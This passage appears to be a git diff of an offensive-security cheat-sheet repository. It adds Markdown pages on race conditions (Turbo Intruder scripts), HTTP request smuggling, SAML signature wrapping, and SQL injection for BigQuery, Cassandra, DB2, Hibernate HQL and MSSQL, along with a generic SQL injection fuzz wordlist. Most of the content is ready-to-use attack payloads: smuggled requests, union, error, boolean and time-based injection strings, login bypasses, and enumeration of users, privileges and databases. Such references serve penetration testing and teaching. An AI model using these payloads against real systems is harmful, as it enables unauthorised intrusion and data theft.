* [Turbo Intruder Examples](#turbo-intruder-examples)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder)
|
||||
|
||||
## Turbo Intruder Examples
|
||||
|
||||
1. Send request to turbo intruder
|
||||
2. Use this python code as a payload of the turbo intruder
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=30,
|
||||
requestsPerConnection=30,
|
||||
pipeline=False
|
||||
)
|
||||
|
||||
for i in range(30):
|
||||
engine.queue(target.req, i)
|
||||
engine.queue(target.req, target.baseInput, gate='race1')
|
||||
|
||||
|
||||
engine.start(timeout=5)
|
||||
engine.openGate('race1')
|
||||
|
||||
engine.complete(timeout=60)
|
||||
|
||||
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
|
||||
4. Click "Attack"
|
||||
|
||||
## Turbo Intruder 2 Requests Examples
|
||||
This follwoing template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=30,
|
||||
requestsPerConnection=100,
|
||||
pipeline=False
|
||||
)
|
||||
request1 = '''
|
||||
POST /target-URI-1 HTTP/1.1
|
||||
Host: <REDACTED>
|
||||
Cookie: session=<REDACTED>
|
||||
|
||||
parameterName=parameterValue
|
||||
'''
|
||||
|
||||
request2 = '''
|
||||
GET /target-URI-2 HTTP/1.1
|
||||
Host: <REDACTED>
|
||||
Cookie: session=<REDACTED>
|
||||
'''
|
||||
|
||||
engine.queue(request1, gate='race1')
|
||||
for i in range(30):
|
||||
engine.queue(request2, gate='race1')
|
||||
engine.openGate('race1')
|
||||
engine.complete(timeout=60)
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
|
||||
* [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
|
||||
* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
|
||||
109
Request Smuggling/README.md
Normal file
@@ -0,0 +1,109 @@
|
||||
# Request Smuggling
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [CL.TE vulnerabilities](#cl.te-vulnerabilities)
|
||||
* [TE.CL vulnerabilities](#te.cl-vulnerabilities)
|
||||
* [TE.TE behavior: obfuscating the TE header](#te.te-behavior-obfuscating-the-te-header)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [HTTP Request Smuggler / BApp Store](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646)
|
||||
* [Smuggler](https://github.com/defparam/smuggler)
|
||||
|
||||
## CL.TE vulnerabilities
|
||||
|
||||
> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
|
||||
|
||||
```powershell
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 13
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
SMUGGLED
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```powershell
|
||||
POST / HTTP/1.1
|
||||
Host: domain.example.com
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
```
|
||||
|
||||
Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
## TE.CL vulnerabilities
|
||||
|
||||
> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
|
||||
|
||||
```powershell
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
Content-Length: 3
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
8
|
||||
SMUGGLED
|
||||
0
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```powershell
|
||||
POST / HTTP/1.1
|
||||
Host: domain.example.com
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
|
||||
Content-Length: 4
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
x=1
|
||||
0
|
||||
|
||||
|
||||
```
|
||||
|
||||
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
|
||||
|
||||
Challenge: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
|
||||
|
||||
## TE.TE behavior: obfuscating the TE header
|
||||
|
||||
> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
|
||||
|
||||
```powershell
|
||||
Transfer-Encoding: xchunked
|
||||
Transfer-Encoding : chunked
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
Transfer-Encoding:[tab]chunked
|
||||
[space]Transfer-Encoding: chunked
|
||||
X: X[\n]Transfer-Encoding: chunked
|
||||
Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
Challenge: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
|
||||
|
||||
## References
|
||||
|
||||
* [PortSwigger - Request Smuggling Tutorial](https://portswigger.net/web-security/request-smuggling) and [PortSwigger - Request Smuggling Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
|
||||
* [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - 2020, October 16](https://blog.cobalt.io/a-pentesters-guide-to-http-request-smuggling-8b7bf0db1f0)
|
||||
@@ -16,7 +16,7 @@
|
||||
## Tools
|
||||
|
||||
- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
|
||||
|
||||
- [SAML Support - ZAP Addon](https://www.zaproxy.org/docs/desktop/addons/saml-support/)
|
||||
|
||||
## Authentication Bypass
|
||||
|
||||
@@ -70,7 +70,7 @@ XML Signature Wrapping (XSW) attack, some implementations check for a valid sign
|
||||
- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
|
||||
- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
|
||||
- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
|
||||
- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion.
|
||||
- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
|
||||
- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
|
||||
- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
|
||||
- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
|
||||
|
||||
70
SQL Injection/BigQuery Injection.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Google BigQuery SQL Injection
|
||||
|
||||
## Summary
|
||||
|
||||
* [Detection](#detection)
|
||||
* [BigQuery Comment](#bigquery-comment)
|
||||
* [BigQuery Union Based](#bigquery-union-based)
|
||||
* [BigQuery Error Based](#bigquery-error-based)
|
||||
* [BigQuery Boolean Based](#bigquery-boolean-based)
|
||||
* [BigQuery Time Based](#bigquery-time-based)
|
||||
* [References](#references)
|
||||
|
||||
## Detection
|
||||
|
||||
* Use a classic single quote to trigger an error: `'`
|
||||
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
|
||||
|
||||
```ps1
|
||||
# Gathering project id
|
||||
select @@project_id
|
||||
|
||||
# Gathering all dataset names
|
||||
select schema_name from INFORMATION_SCHEMA.SCHEMATA
|
||||
|
||||
# Gathering data from specific project id & dataset
|
||||
select * from `project_id.dataset_name.table_name`
|
||||
```
|
||||
|
||||
## BigQuery Comment
|
||||
|
||||
```ps1
|
||||
select 1#from here it is not working
|
||||
select 1/*between those it is not working*/
|
||||
```
|
||||
|
||||
## BigQuery Union Based
|
||||
|
||||
```ps1
|
||||
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
||||
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
||||
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
||||
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
|
||||
```
|
||||
|
||||
## BigQuery Error Based
|
||||
|
||||
```ps1
|
||||
# Error based - division by zero
|
||||
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
|
||||
|
||||
# Error based - casting: select CAST(@@project_id AS INT64)
|
||||
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
|
||||
```
|
||||
|
||||
## BigQuery Boolean Based
|
||||
|
||||
```ps1
|
||||
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
|
||||
```
|
||||
|
||||
## BigQuery Time Based
|
||||
|
||||
* Time based functions does not exist in the BigQuery syntax.
|
||||
|
||||
## References
|
||||
|
||||
* [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)
|
||||
* [BigQuery Documentation - Query Syntax](https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax)
|
||||
* [BigQuery Documentation - Functions and Operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
|
||||
* [Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020](https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/)
|
||||
@@ -2,6 +2,14 @@
|
||||
|
||||
> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system
|
||||
|
||||
## Summary
|
||||
|
||||
* [Cassandra comment](#cassandra-comment)
|
||||
* [Cassandra - Login Bypass](#cassandra---login-bypass)
|
||||
* [Login Bypass 0](#login-bypass-0)
|
||||
* [Login Bypass 1](#login-bypass-1)
|
||||
* [References](#references)
|
||||
|
||||
## Cassandra comment
|
||||
|
||||
```sql
|
||||
@@ -30,8 +38,6 @@ The injection would look like the following SQL query
|
||||
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
|
||||
```
|
||||
|
||||
Example from EternalNoob : [https://hack2learn.pw/cassandra/login.php](https://hack2learn.pw/cassandra/login.php)
|
||||
|
||||
## References
|
||||
|
||||
* [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)
|
||||
|
||||
|
||||
208
SQL Injection/DB2 Injection.md
Normal file
@@ -0,0 +1,208 @@
|
||||
# DB2 Injection
|
||||
|
||||
>
|
||||
|
||||
## Summary
|
||||
|
||||
* [DB2 Cheatsheet](#db2-cheatsheet)
|
||||
* [References](#references)
|
||||
|
||||
## DB2 Cheatsheet
|
||||
|
||||
### Version
|
||||
|
||||
```sql
|
||||
select versionnumber, version_timestamp from sysibm.sysversions;
|
||||
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
|
||||
select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
|
||||
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
|
||||
select service_level,bld_level from sysibmadm.env_inst_info
|
||||
```
|
||||
|
||||
### Comments
|
||||
|
||||
```sql
|
||||
select blah from foo -- comment like this (double dash)
|
||||
```
|
||||
|
||||
### Current User
|
||||
|
||||
```sql
|
||||
select user from sysibm.sysdummy1
|
||||
select session_user from sysibm.sysdummy1
|
||||
select system_user from sysibm.sysdummy1
|
||||
```
|
||||
|
||||
### List Users
|
||||
|
||||
DB2 uses OS accounts
|
||||
|
||||
```sql
|
||||
select distinct(authid) from sysibmadm.privileges -- priv required
|
||||
select grantee from syscat.dbauth -- incomplete results
|
||||
select distinct(definer) from syscat.schemata -- more accurate
|
||||
select distinct(grantee) from sysibm.systabauth -- same as previous
|
||||
```
|
||||
|
||||
### List Privileges
|
||||
|
||||
```sql
|
||||
select * from syscat.tabauth -- shows priv on tables
|
||||
select * from syscat.tabauth where grantee = current user -- shows privs for current user
|
||||
select * from syscat.dbauth where grantee = current user;;
|
||||
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
|
||||
```
|
||||
|
||||
### List DBA Accounts
|
||||
|
||||
```sql
|
||||
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
|
||||
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
|
||||
```
|
||||
|
||||
### Current Database
|
||||
|
||||
```sql
|
||||
select current server from sysibm.sysdummy1
|
||||
```
|
||||
|
||||
### List Databases
|
||||
|
||||
```sql
|
||||
select distinct(table_catalog) from sysibm.tables
|
||||
SELECT schemaname FROM syscat.schemata;
|
||||
```
|
||||
|
||||
### List Columns
|
||||
|
||||
```sql
|
||||
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
|
||||
```
|
||||
|
||||
### List Tables
|
||||
|
||||
```sql
|
||||
select table_name from sysibm.tables
|
||||
select name from sysibm.systables
|
||||
```
|
||||
|
||||
### Find Tables From Column Name
|
||||
|
||||
```sql
|
||||
select tbname from sysibm.syscolumns where name='username'
|
||||
```
|
||||
|
||||
### Select Nth Row
|
||||
|
||||
```sql
|
||||
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
|
||||
```
|
||||
|
||||
### Select Nth Char
|
||||
|
||||
```sql
|
||||
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
|
||||
```
|
||||
|
||||
### Bitwise AND/OR/NOT/XOR
|
||||
|
||||
```sql
|
||||
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
|
||||
```
|
||||
|
||||
### ASCII Value
|
||||
|
||||
```sql
|
||||
Char select chr(65) from sysibm.sysdummy1 -- returns 'A'
|
||||
```
|
||||
|
||||
### Char -> ASCII Value
|
||||
|
||||
```sql
|
||||
select ascii('A') from sysibm.sysdummy1 -- returns 65
|
||||
```
|
||||
|
||||
### Casting
|
||||
|
||||
```sql
|
||||
select cast('123' as integer) from sysibm.sysdummy1
|
||||
select cast(1 as char) from sysibm.sysdummy1
|
||||
```
|
||||
|
||||
### String Concat
|
||||
|
||||
```sql
|
||||
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
|
||||
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
|
||||
```
|
||||
|
||||
|
||||
### IF Statement
|
||||
Seems only allowed in stored procedures. Use case logic instead.
|
||||
|
||||
### Case Statement
|
||||
|
||||
```sql
|
||||
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
|
||||
```
|
||||
|
||||
|
||||
### Avoiding Quotes
|
||||
|
||||
```sql
|
||||
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
|
||||
```
|
||||
|
||||
### Time Delay
|
||||
|
||||
Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.
|
||||
However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster.
|
||||
```sql
|
||||
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
|
||||
```
|
||||
|
||||
### Serialize to XML (for error based)
|
||||
|
||||
```sql
|
||||
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
|
||||
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
|
||||
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
|
||||
```
|
||||
|
||||
### Command Execution and Local File Access
|
||||
|
||||
Seems it's only allowed from procedures or UDFs.
|
||||
|
||||
### Hostname/IP and OS INFO
|
||||
|
||||
```sql
|
||||
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
|
||||
```
|
||||
|
||||
### Location of DB Files
|
||||
|
||||
```sql
|
||||
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
|
||||
```
|
||||
|
||||
### System Config
|
||||
|
||||
```sql
|
||||
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
|
||||
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
|
||||
```
|
||||
|
||||
### Default System Database
|
||||
|
||||
* SYSIBM
|
||||
* SYSCAT
|
||||
* SYSSTAT
|
||||
* SYSPUBLIC
|
||||
* SYSIBMADM
|
||||
* SYSTOOLs
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [DB2 SQL injection cheat sheet - Adrián - 20/05/2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/)
|
||||
* [DB2 SQL Injection Cheat Sheet - pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
|
||||
@@ -2,6 +2,19 @@
|
||||
|
||||
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
|
||||
|
||||
## Summary
|
||||
|
||||
* [HQL Comments](#hql-comments)
|
||||
* [HQL List Columns](#hql-list-columns)
|
||||
* [HQL Error Based](#hql-error-based)
|
||||
* [Single Quote Escaping](#single-quote-escaping)
|
||||
* [$-quoted strings](#--quoted-strings)
|
||||
* [DBMS Magic functions](#dbms-magic-functions)
|
||||
* [Unicode](#unicode)
|
||||
* [Java constants](#java-constants)
|
||||
* [Methods by DBMS](#methods-by-dbms)
|
||||
* [References](#references)
|
||||
|
||||
## HQL Comments
|
||||
|
||||
```sql
|
||||
@@ -43,9 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
|
||||
|
||||
:warning: **HQL does not support UNION queries**
|
||||
|
||||
## Single Quote Escaping
|
||||
|
||||
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
|
||||
|
||||
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
|
||||
|
||||
```
|
||||
'abc\''or 1=(select 1)--'
|
||||
```
|
||||
|
||||
In HQL it is a string, in MySQL it is a string and additional SQL expression.
|
||||
|
||||
## $-quoted strings
|
||||
|
||||
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
|
||||
|
||||
Hibernate ORM allows identifiers starting with `$$`.
|
||||
|
||||
```
|
||||
$$='$$=concat(chr(61),chr(39)) and 1=1--'
|
||||
```
|
||||
|
||||
## DBMS Magic functions
|
||||
|
||||
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
|
||||
|
||||
Hibernate allows to specify any function name in HQL expression.
|
||||
|
||||
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
|
||||
|
||||
```
|
||||
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
|
||||
```
|
||||
|
||||
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
|
||||
|
||||
```
|
||||
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
|
||||
```
|
||||
|
||||
## Unicode
|
||||
|
||||
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
|
||||
|
||||
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
|
||||
|
||||
HQL allows UNICODE symbols in identifiers (function or parameter names).
|
||||
|
||||
```
|
||||
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
|
||||
```
|
||||
|
||||
## Java constants
|
||||
|
||||
Method works for most DBMS (does not work for MySQL).
|
||||
|
||||
Hibernate resolves Java public static fields (Java constants) in HQL queries:
|
||||
|
||||
- Class with Java constant must be in classpath
|
||||
- Ex. `java.lang.Character.SIZE` is resolved to 16
|
||||
- String or char constants are additionally surrounded by single quotes
|
||||
|
||||
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
|
||||
|
||||
```java
|
||||
public class Constants {
|
||||
public static final String S_QUOTE = "'";
|
||||
public static final String HQL_PART = "select * from Post where name = '";
|
||||
public static final char C_QUOTE_1 = '\'';
|
||||
public static final char C_QUOTE_2 = '\047';
|
||||
public static final char C_QUOTE_3 = 39;
|
||||
public static final char C_QUOTE_4 = 0x27;
|
||||
public static final char C_QUOTE_5 = 047;
|
||||
}
|
||||
```
|
||||
|
||||
Some usable constants in well-known Java libraries:
|
||||
|
||||
```
|
||||
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
|
||||
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
|
||||
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
|
||||
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
|
||||
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
|
||||
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
|
||||
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
|
||||
```
|
||||
|
||||
```
|
||||
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
|
||||
```
|
||||
|
||||
## Methods by DBMS
|
||||
|
||||

|
||||
|
||||
## References
|
||||
|
||||
* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
|
||||
* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
|
||||
* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
|
||||
* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
|
||||
* [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
|
||||
* [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)
|
||||
|
||||
BIN
SQL Injection/Images/Unicode_SQL_injection.png
Normal file
|
After Width: | Height: | Size: 517 KiB |
12
SQL Injection/Intruder/Generic_Fuzz.txt
Normal file
@@ -0,0 +1,12 @@
|
||||
1
|
||||
1'
|
||||
1"
|
||||
[1]
|
||||
1`
|
||||
1\
|
||||
1/*'*/
|
||||
1/*!1111'*/
|
||||
1'||'asd'||'
|
||||
1' or '1'='1
|
||||
1 or 1=1
|
||||
'or''='
|
||||
@@ -29,11 +29,8 @@
|
||||
+ addition, concatenate (or space in url)
|
||||
|| (double pipe) concatenate
|
||||
% wildcard attribute indicator
|
||||
|
||||
@variable local variable
|
||||
@@variable global variable
|
||||
|
||||
|
||||
# Numeric
|
||||
AND 1
|
||||
AND 0
|
||||
@@ -43,44 +40,27 @@ AND false
|
||||
1-true
|
||||
1*56
|
||||
-2
|
||||
|
||||
|
||||
1' ORDER BY 1--+
|
||||
1' ORDER BY 2--+
|
||||
1' ORDER BY 3--+
|
||||
|
||||
1' ORDER BY 1,2--+
|
||||
1' ORDER BY 1,2,3--+
|
||||
|
||||
1' GROUP BY 1,2,--+
|
||||
1' GROUP BY 1,2,3--+
|
||||
' GROUP BY columnnames having 1=1 --
|
||||
|
||||
|
||||
-1' UNION SELECT 1,2,3--+
|
||||
' UNION SELECT sum(columnname ) from tablename --
|
||||
|
||||
|
||||
-1 UNION SELECT 1 INTO @,@
|
||||
-1 UNION SELECT 1 INTO @,@,@
|
||||
|
||||
1 AND (SELECT * FROM Users) = 1
|
||||
|
||||
' AND MID(VERSION(),1,1) = '5';
|
||||
|
||||
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
|
||||
|
||||
|
||||
Finding the table name
|
||||
|
||||
|
||||
Time-Based:
|
||||
,(select * from (select(sleep(10)))a)
|
||||
%2c(select%20*%20from%20(select(sleep(10)))a)
|
||||
';WAITFOR DELAY '0:0:30'--
|
||||
|
||||
Comments:
|
||||
|
||||
# Hash comment
|
||||
/* C-style comment
|
||||
-- - SQL comment
|
||||
|
||||
@@ -1,32 +1,74 @@
|
||||
# MSSQL Injection
|
||||
|
||||
## MSSQL comments
|
||||
## Summary
|
||||
|
||||
* [MSSQL Comments](#mssql-comments)
|
||||
* [MSSQL User](#mssql-user)
|
||||
* [MSSQL Version](#mssql-version)
|
||||
* [MSSQL Hostname](#mssql-hostname)
|
||||
* [MSSQL Database name](#mssql-database-name)
|
||||
* [MSSQL List databases](#mssql-list-databases)
|
||||
* [MSSQL List columns](#mssql-list-columns)
|
||||
* [MSSQL List tables](#mssql-list-tables)
|
||||
* [MSSQL Extract user/password](#mssql-extract-userpassword)
|
||||
* [MSSQL Union Based](#mssql-union-based)
|
||||
* [MSSQL Error Based](#mssql-error-based)
|
||||
* [MSSQL Blind Based](#mssql-blind-based)
|
||||
* [MSSQL Time Based](#mssql-time-based)
|
||||
* [MSSQL Stacked query](#mssql-stacked-query)
|
||||
* [MSSQL Read file](#mssql-read-file)
|
||||
* [MSSQL Command execution](#mssql-command-execution)
|
||||
* [MSSQL Out of band](#mssql-out-of-band)
|
||||
* [MSSQL DNS exfiltration](#mssql-dns-exfiltration)
|
||||
* [MSSQL UNC path](#mssql-unc-path)
|
||||
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
|
||||
* [MSSQL Trusted Links](#mssql-trusted-links)
|
||||
* [MSSQL List permissions](#mssql-list-permissions)
|
||||
|
||||
## MSSQL Comments
|
||||
|
||||
```sql
|
||||
-- comment goes here
|
||||
/* comment goes here */
|
||||
```
|
||||
|
||||
## MSSQL User
|
||||
|
||||
```sql
|
||||
SELECT CURRENT_USER
|
||||
SELECT user_name();
|
||||
SELECT system_user;
|
||||
SELECT user;
|
||||
```
|
||||
|
||||
## MSSQL version
|
||||
|
||||
```sql
|
||||
SELECT @@version
|
||||
```
|
||||
|
||||
## MSSQL database name
|
||||
## MSSQL Hostname
|
||||
|
||||
```sql
|
||||
SELECT HOST_NAME()
|
||||
SELECT @@hostname;
|
||||
```
|
||||
|
||||
## MSSQL Database name
|
||||
|
||||
```sql
|
||||
SELECT DB_NAME()
|
||||
```
|
||||
|
||||
## MSSQL List Databases
|
||||
## MSSQL List databases
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysdatabases;
|
||||
SELECT DB_NAME(N); — for N = 0, 1, 2, …
|
||||
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
|
||||
```
|
||||
|
||||
## MSSQL List Column
|
||||
## MSSQL List columns
|
||||
|
||||
```sql
|
||||
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
|
||||
@@ -35,7 +77,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
|
||||
SELECT table_catalog, column_name FROM information_schema.columns
|
||||
```
|
||||
|
||||
## MSSQL List Tables
|
||||
## MSSQL List tables
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
|
||||
@@ -43,9 +85,10 @@ SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
|
||||
